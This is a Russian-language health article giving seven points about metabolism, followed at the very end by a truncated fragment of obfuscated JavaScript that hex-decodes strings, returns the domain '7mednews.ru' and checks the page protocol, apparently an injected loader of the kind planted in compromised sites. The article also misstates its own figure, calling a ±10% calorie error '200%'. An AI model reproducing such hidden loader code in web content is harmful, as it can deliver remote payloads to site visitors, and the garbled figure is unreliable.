В этой статье вы узнаете все о метаболизме и о способах его улучшения.
1.Для улучшения обмена не обязательно больше тренироваться или меньше есть вредных продуктов. На метаболизм кроме спорта и питания влияют еще множество факторов: сон, гормональные показатели, работа щитовидной железы, особенности строения организма.
2.Вы индивидуальны. То есть не существует людей с одинаковым обменом веществ, поэтому не существует единых правил, которые одинаково хорошо работали для всех. А для того чтобы разобраться как работает обмен веществ у вас, нужно изучать себя и свою генетику.
3.Не стоит полагаться на калькуляторы и формулы подсчета расхода калорий. Следует помнить, что такие способы подсчета имеют погрешность на +- 10%. То есть если калькулятор показывает 2000 ккал, в действительности затрачено на 200% меньше или больше. Они могут быть полезны только людям с «предсказуемым» метаболизмом, но таких людей на земле крайне мало.
4.Сон влияет на обмен веществ. Многие исследователи утверждают, что хроническое недосыпание может привести к набору лишнего веса и является причиной развития заболеваний, связанных с ожирением. А все потому, что из-за недосыпа, организм требует больше калорийной пищи и плохо её переваривает – это приводит к избыточному весу.
5.Стресс негативно влияете на метаболизм. Длительная стрессовая ситуация способствует отложению жировой ткани в области живота. Также подобный тип ожирения чаще –всего является предвестником диабета. А все из-за то что в такие моменты выделяется гормон кортизол, нарушающий привычную работу обмена веществ.
6.Калории сжигаются в моменты бездействия. Существует такое понятие как «базовая скорость метаболизма» - это калории, которые тратятся на поддержание жизнедеятельности организма. Многие люди на планете большую часть дневной энергии тратят именно так.
7.Чем старше тем хуже обмен веществ. Как стало известно, каждые 10 лет скорость обмена веществ постепенно замедляется. Поэтому с годами нужно больше и больше прикладывать усилий, для поддержания нормальной скорости метаболизма.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "7mednews.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e